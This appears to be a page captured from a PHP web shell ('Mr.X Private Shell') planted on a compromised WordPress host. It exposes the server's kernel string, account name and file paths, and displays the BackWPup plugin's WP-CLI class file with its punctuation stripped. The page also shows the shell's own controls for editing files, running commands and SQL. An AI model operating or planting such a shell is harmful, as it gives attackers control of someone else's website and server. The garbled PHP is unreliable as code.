Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/////wp-content/plugins///backwpup/inc///      ( Reset | Go to )
File Name: class-wp-cli.php
Edit
<?php
/**
 * Class for WP-CLI commands
 */
class BackWPup_WP_CLI extends WP_CLI_Command {

    
/**
     * Start a BackWPup job
     *
     * # EXAMPLES
     *
     *   backwpup start 13
     *   backwpup start --jobid=13 (deprecated)
     *
     * @param $args
     * @param $assoc_args
     */
    
public function start$args$assoc_args ) {

        
$jobid 0;

        if ( 
file_existsBackWPup::get_plugin_data'running_file' ) ) ) {
            
WP_CLI::error__'A job is already running.''backwpup' ) );
        }

        if ( isset( 
$assoc_args['jobid'] ) ) {
            
$jobid = (int) $assoc_args'jobid' ];
        }

        if ( ! empty( 
$args] ) ) {
            
$jobid = (int) $args];
        }

        if ( empty( 
$jobid ) ) {
            
WP_CLI::error__'No job ID specified!''backwpup' ) );
        }


        
$jobids BackWPup_Option::get_job_ids();
        if ( ! 
in_array$jobid$jobidstrue ) ) {
            
WP_CLI::error__'Job ID does not exist!''backwpup' ) );
        }

        
BackWPup_Job::start_cli$jobid );
    }

    
/**
     *  Abort a working BackWPup Job
     *
     */
    
public function abort$args$assoc_args ) {

        if ( ! 
file_existsBackWPup::get_plugin_data'running_file' ) ) ) {
            
WP_CLI::error__'Nothing to abort!''backwpup' ) );
        }

        
//abort
        
BackWPup_Job::user_abort();
        
WP_CLI::success__'Job will be terminated.''backwpup' ) ) ;
    }


    
/**
     * Display a List of Jobs
     *
     */
    
public function jobs$args$assoc_args ) {

        
$formatter_args = array(
            
'format' => 'table',
            
'fields' => array(
                
'Job ID',
                
'Name'
            
),
            
'field' => NULL
        
);

        
$items = array();

        
$formatter = new WP_CLI\Formatter$formatter_args );

        
$jobids BackWPup_Option::get_job_ids();

        foreach (
$jobids as $jobid ) {
            
$items[] = array(
                
'Job ID' => $jobid,
                
'Name'  => BackWPup_Option::get$jobid'name' )
            );
        }

        
$formatter->display_items$items );
    }

    
/**
     * See Status of a working job
     *
     * @param $args
     * @param $assoc_args
     */
    
public function working$args$assoc_args ) {

        
$job_object BackWPup_Job::get_working_data();

        if ( ! 
is_object$job_object ) ) {
            
WP_CLI::error__'No job running''backwpup' ) );
        }

        
$formatter_args = array(
            
'format' => 'table',
            
'fields' => array(
                
'JobID',
                
'Name',
                
'Warnings',
                
'Errors',
                
'On Step',
                
'Done',
            ),
            
'field' => NULL
        
);

        
$formatter = new WP_CLI\Formatter$formatter_args );

        
$items = array();
        
$items[] = array(
            
'JobID' => $job_object->job'jobid' ],
            
'Name' => $job_object->job'name' ],
            
'Warnings' => $job_object->warnings,
            
'Errors' => $job_object->errors,
            
'On Step' => $job_object->steps_data$job_object->step_working ][ 'NAME' ],
            
'Done' => $job_object->step_percent ' / ' $job_object->substep_percent,
            
'Last message' => str_replace'&hellip;''...'strip_tags$job_object->lastmsg ) )
        );

        
$formatter->display_items$items );

        
WP_CLI::log'Last Message: ' str_replace'&hellip;''...'strip_tags$job_object->lastmsg ) ) );
    }

}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL